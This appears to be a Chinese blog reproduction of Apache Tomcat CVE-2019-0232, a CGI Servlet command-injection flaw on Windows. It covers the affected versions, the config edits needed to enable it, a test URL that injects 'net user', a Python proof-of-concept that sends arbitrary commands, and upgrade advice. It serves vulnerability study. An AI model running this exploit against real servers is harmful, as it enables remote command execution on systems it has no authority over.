Apache Tomcat CVE-2019-0232 远程代码执行漏洞

漏洞简介2019年4月10日,Apache Tomcat报告了一个漏洞,报告中称在windows上运行的Apache Tomcat存在远程代码执行漏洞,漏洞编号为CVE-2019-0232。在Windows平台,远程攻击者向CGI Servlet发送一个精心设计的请求,在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。CGI_Servlet默认是关闭的。

影响范围

Apache Tomcat 9.0.0.M1 to 9.0.17

Apache Tomcat 8.5.0 to 8.5.39

Apache Tomcat 7.0.0 to 7.0.93

漏洞复现

测试环境
Tomcat 8.5.39
JDK 8u121
0X00修改配置文件

  • web.xml

        cgi
        org.apache.catalina.servlets.CGIServlet
        
          debug
          0
        
        
          cgiPathPrefix
          WEB-INF/cgi-bin
        
        
          executable
          
        
         5
 



    
        cgi
        /cgi-bin/*
    
  • content.xml


    
    
    WEB-INF/web.xml
    ${catalina.base}/conf/web.xml

    
    

将WEB-INF 文件移动到 /webapps/ROOT 然后启动tomcat,WEB-INF以下参考链接可以下载到。
手动测试:

http://127.0.0.1:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user

Apache Tomcat CVE-2019-0232 远程代码执行漏洞_第1张图片
poc

import requests
import sys

# http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet.exe+user

url = sys.argv[1]

url_dir = "/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5C"

cmd = sys.argv[2]

vuln_url = url + url_dir +cmd



print ("Usage: python CVE-2019-0232.py url cmd")

print ("The Vuln url:\n\n" ,vuln_url)

r = requests.get(vuln_url)


print("\nThe Vuln Response Content: \n\n" , r.text)


Apache Tomcat CVE-2019-0232 远程代码执行漏洞_第2张图片

修复措施

受影响版本的用户应该应用下列其中一项缓解。升级到:

  • Apache Tomcat 9.0.18或更高版本

  • Apache Tomcat 8.5.40或更高版本

  • Apache Tomcat 7.0.93或更高版本

参考链接

  • https://github.com/pyn3rd/CVE-2019-0232

测试环境及更多漏洞关注:

Apache Tomcat CVE-2019-0232 远程代码执行漏洞_第3张图片

你可能感兴趣的:(WEB安全,漏洞利用)